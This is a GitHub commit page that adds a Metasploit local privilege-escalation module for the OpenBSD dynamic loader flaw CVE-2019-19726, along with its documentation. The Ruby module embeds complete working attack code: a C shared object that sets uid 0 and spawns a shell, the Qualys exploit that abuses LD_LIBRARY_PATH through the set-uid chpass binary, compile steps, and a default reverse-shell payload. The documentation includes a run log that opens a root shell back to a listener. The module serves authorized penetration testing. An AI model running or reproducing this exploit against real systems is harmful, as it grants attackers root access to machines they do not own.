Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12712, add OpenBSD Dynamic Loader chpass privesc
- Loading branch information
1 parent
9a12779
commit f0aa35e
Showing
2 changed files
with
315 additions
and
0 deletions.
There are no files selected for viewing
102 changes: 102 additions & 0 deletions
102
documentation/modules/exploit/openbsd/local/dynamic_loader_chpass_privesc.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,102 @@ | ||
## Description | ||
|
||
This module exploits a vulnerability in the OpenBSD `ld.so` | ||
dynamic loader (CVE-2019-19726). | ||
|
||
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` | ||
environment variable when set with approximately `ARG_MAX` colons. | ||
|
||
This can be abused to load `libutil.so` from an untrusted path, | ||
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid | ||
executable, resulting in privileged code execution. | ||
|
||
|
||
## Vulnerable Application | ||
|
||
This module has been tested successfully on: | ||
|
||
* OpenBSD 6.1 (amd64) | ||
* OpenBSD 6.6 (amd64) | ||
|
||
|
||
## Verification Steps | ||
|
||
1. Start `msfconsole` | ||
2. Get a session | ||
3. `use exploit/openbsd/local/dynamic_loader_chpass_privesc` | ||
4. `set SESSION <SESSION>` | ||
5. `check` | ||
6. `run` | ||
7. You should get a new *root* session | ||
|
||
|
||
## Options | ||
|
||
**SESSION** | ||
|
||
Which session to use, which can be viewed with `sessions` | ||
|
||
**CHPASS_PATH** | ||
|
||
Path to chpass (default: `/usr/bin/chpass`) | ||
|
||
|
||
## Scenarios | ||
|
||
### OpenBSD 6.1 GENERIC#19 amd64 | ||
|
||
``` | ||
msf5 > use exploit/openbsd/local/dynamic_loader_chpass_privesc | ||
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set verbose true | ||
verbose => true | ||
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set session 1 | ||
session => 1 | ||
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > check | ||
[+] Patch 013_ldso is not present | ||
[+] cc is installed | ||
[*] The service is running, but could not be validated. | ||
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > set lhost 172.16.191.165 | ||
lhost => 172.16.191.165 | ||
msf5 exploit(openbsd/local/dynamic_loader_chpass_privesc) > run | ||
[*] Started reverse TCP double handler on 172.16.191.165:4444 | ||
[+] Patch 013_ldso is not present | ||
[+] cc is installed | ||
[+] Found libutil.so name: libutil.so.12.1 | ||
[*] Writing '/tmp/.86MXG.c' (316 bytes) ... | ||
[*] Max line length is 4096 | ||
[*] Writing 316 bytes in 1 chunks of 1145 bytes (octal-encoded), using printf | ||
[*] Compiling /tmp/libutil.so.12.1 ... | ||
[*] Writing '/tmp/.DRbqHJ.c' (602 bytes) ... | ||
[*] Max line length is 4096 | ||
[*] Writing 602 bytes in 1 chunks of 2170 bytes (octal-encoded), using printf | ||
[*] Compiling /tmp/.DRbqHJ ... | ||
[*] Writing '/tmp/.2bowjnW1' (139 bytes) ... | ||
[*] Max line length is 4096 | ||
[*] Writing 139 bytes in 1 chunks of 470 bytes (octal-encoded), using printf | ||
[*] Launching exploit... | ||
[*] Accepted the first client connection... | ||
[*] Accepted the second client connection... | ||
[*] Command: echo Y6H5kRiGDyQjzQKI; | ||
[*] Writing to socket A | ||
[*] Writing to socket B | ||
[*] Reading from sockets... | ||
[*] Reading from socket B | ||
[*] B: "Y6H5kRiGDyQjzQKI\r\n" | ||
[*] Matching... | ||
[*] A is input... | ||
[*] Command shell session 2 opened (172.16.191.165:4444 -> 172.16.191.205:43611) at 2019-12-13 04:03:22 -0500 | ||
[+] Deleted /tmp/.86MXG.c | ||
[+] Deleted /tmp/libutil.so.12.1 | ||
[+] Deleted /tmp/.DRbqHJ.c | ||
[+] Deleted /tmp/.DRbqHJ | ||
[+] Deleted /tmp/.2bowjnW1 | ||
id | ||
uid=0(root) gid=0(wheel) groups=1001(test) | ||
uname -a | ||
OpenBSD openbsd-6-1.localdomain 6.1 GENERIC#19 amd64 | ||
``` | ||
|
213 changes: 213 additions & 0 deletions
213
modules/exploits/openbsd/local/dynamic_loader_chpass_privesc.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,213 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Post::File | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'OpenBSD Dynamic Loader chpass Privilege Escalation', | ||
'Description' => %q{ | ||
This module exploits a vulnerability in the OpenBSD `ld.so` | ||
dynamic loader (CVE-2019-19726). | ||
The `_dl_getenv()` function fails to reset the `LD_LIBRARY_PATH` | ||
environment variable when set with approximately `ARG_MAX` colons. | ||
This can be abused to load `libutil.so` from an untrusted path, | ||
using `LD_LIBRARY_PATH` in combination with the `chpass` set-uid | ||
executable, resulting in privileged code execution. | ||
This module has been tested successfully on: | ||
OpenBSD 6.1 (amd64); and | ||
OpenBSD 6.6 (amd64) | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Qualys', # Discovery and exploit | ||
'bcoles' # Metasploit | ||
], | ||
'DisclosureDate' => '2019-12-11', | ||
'Platform' => %w[bsd unix], # OpenBSD | ||
'Arch' => [ARCH_CMD], | ||
'SessionTypes' => ['shell'], | ||
'References' => | ||
[ | ||
['CVE', '2019-19726'], | ||
['EDB', '47780'], | ||
['URL', 'https://blog.qualys.com/laws-of-vulnerabilities/2019/12/11/openbsd-local-privilege-escalation-vulnerability-cve-2019-19726'], | ||
['URL', 'https://www.qualys.com/2019/12/11/cve-2019-19726/local-privilege-escalation-openbsd-dynamic-loader.txt'], | ||
['URL', 'https://www.openwall.com/lists/oss-security/2019/12/11/9'], | ||
['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2019-19726/openbsd-dynamic-loader-chpass'], | ||
['URL', 'https://ftp.openbsd.org/pub/OpenBSD/patches/6.6/common/013_ldso.patch.sig'] | ||
], | ||
'Targets' => [['Automatic', {}]], | ||
'DefaultOptions' => | ||
{ | ||
'PAYLOAD' => 'cmd/unix/reverse', | ||
'WfsDelay' => 10 | ||
}, | ||
'DefaultTarget' => 0)) | ||
register_options [ | ||
OptString.new('CHPASS_PATH', [true, 'Path to chpass', '/usr/bin/chpass']) | ||
] | ||
register_advanced_options [ | ||
OptBool.new('ForceExploit', [false, 'Override check result', false]), | ||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']) | ||
] | ||
end | ||
|
||
def base_dir | ||
datastore['WritableDir'].to_s | ||
end | ||
|
||
def chpass_path | ||
datastore['CHPASS_PATH'] | ||
end | ||
|
||
def upload(path, data) | ||
print_status "Writing '#{path}' (#{data.size} bytes) ..." | ||
rm_f path | ||
write_file path, data | ||
register_file_for_cleanup path | ||
end | ||
|
||
def is_root? | ||
(cmd_exec('id -u').to_s.gsub(/[^\d]/, '') == '0') | ||
end | ||
|
||
def libutil_name | ||
return unless command_exists? 'readelf' | ||
cmd_exec('readelf -a /usr/sbin/pwd_mkdb').to_s.scan(/\[(libutil\.so\.[\d\.]+)\]/).flatten.first | ||
end | ||
|
||
def check | ||
patches = cmd_exec('syspatch -l').to_s | ||
patch = '013_ldso' | ||
if patches.include? patch | ||
vprint_error "Patch #{patch} has been installed. Target is not vulnerable." | ||
return CheckCode::Safe | ||
end | ||
vprint_good "Patch #{patch} is not present" | ||
|
||
unless command_exists? 'cc' | ||
vprint_error 'cc is not installed' | ||
return CheckCode::Safe | ||
end | ||
print_good 'cc is installed' | ||
|
||
CheckCode::Detected | ||
end | ||
|
||
def exploit | ||
unless check == CheckCode::Detected | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.' | ||
end | ||
print_warning 'Target does not appear to be vulnerable' | ||
end | ||
|
||
if is_root? | ||
unless datastore['ForceExploit'] | ||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.' | ||
end | ||
end | ||
|
||
unless writable? base_dir | ||
fail_with Failure::BadConfig, "#{base_dir} is not writable" | ||
end | ||
|
||
# Qualys set-uid shared object from https://www.openwall.com/lists/oss-security/2019/12/11/9 | ||
lib_data = <<-EOF | ||
#include <paths.h> | ||
#include <unistd.h> | ||
static void __attribute__ ((constructor)) _init (void) { | ||
if (setuid(0) != 0) _exit(__LINE__); | ||
if (setgid(0) != 0) _exit(__LINE__); | ||
char * const argv[] = { _PATH_KSHELL, "-c", _PATH_KSHELL "; exit 1", NULL }; | ||
execve(argv[0], argv, NULL); | ||
_exit(__LINE__); | ||
} | ||
EOF | ||
|
||
libs = [] | ||
lib = libutil_name | ||
if lib | ||
libs << lib | ||
print_good "Found libutil.so name: #{lib}" | ||
else | ||
libs << 'libutil.so.12.1' | ||
libs << 'libutil.so.13.1' | ||
print_warning "Could not determine libutil.so name. Using: #{libs.join(', ')}" | ||
end | ||
|
||
lib_src_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}.c" | ||
upload lib_src_path, lib_data | ||
libs.each do |lib_name| | ||
lib_path = "#{base_dir}/#{lib_name}" | ||
print_status "Compiling #{lib_path} ..." | ||
output = cmd_exec "cc -fpic -shared -s -o #{lib_path} #{lib_src_path} -Wall" | ||
register_file_for_cleanup lib_path | ||
|
||
unless output.blank? | ||
print_error output | ||
fail_with Failure::Unknown, "#{lib_path}.c failed to compile" | ||
end | ||
end | ||
|
||
# Qualys exploit from https://www.openwall.com/lists/oss-security/2019/12/11/9 | ||
exploit_data = <<-EOF | ||
#include <string.h> | ||
#include <sys/param.h> | ||
#include <sys/resource.h> | ||
#include <unistd.h> | ||
int | ||
main(int argc, char * const * argv) | ||
{ | ||
#define LLP "LD_LIBRARY_PATH=." | ||
static char llp[ARG_MAX - 128]; | ||
memset(llp, ':', sizeof(llp)-1); | ||
memcpy(llp, LLP, sizeof(LLP)-1); | ||
char * const envp[] = { llp, "EDITOR=echo '#' >>", NULL }; | ||
#define DATA (ARG_MAX * sizeof(char *)) | ||
const struct rlimit data = { DATA, DATA }; | ||
if (setrlimit(RLIMIT_DATA, &data) != 0) _exit(__LINE__); | ||
if (argc <= 1) _exit(__LINE__); | ||
argv += 1; | ||
execve(argv[0], argv, envp); | ||
_exit(__LINE__); | ||
} | ||
EOF | ||
|
||
exploit_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
upload "#{exploit_path}.c", exploit_data | ||
print_status "Compiling #{exploit_path} ..." | ||
output = cmd_exec "cc -s #{exploit_path}.c -o #{exploit_path} -Wall" | ||
register_file_for_cleanup exploit_path | ||
|
||
unless output.blank? | ||
print_error output | ||
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile" | ||
end | ||
|
||
payload_path = "#{base_dir}/.#{rand_text_alphanumeric 5..10}" | ||
upload payload_path, "#!/bin/sh\n#{payload.encoded}\n" | ||
chmod payload_path | ||
|
||
print_status 'Launching exploit...' | ||
output = cmd_exec("cd #{base_dir};echo '#{payload_path}&exit'|#{exploit_path} #{chpass_path}") | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
end |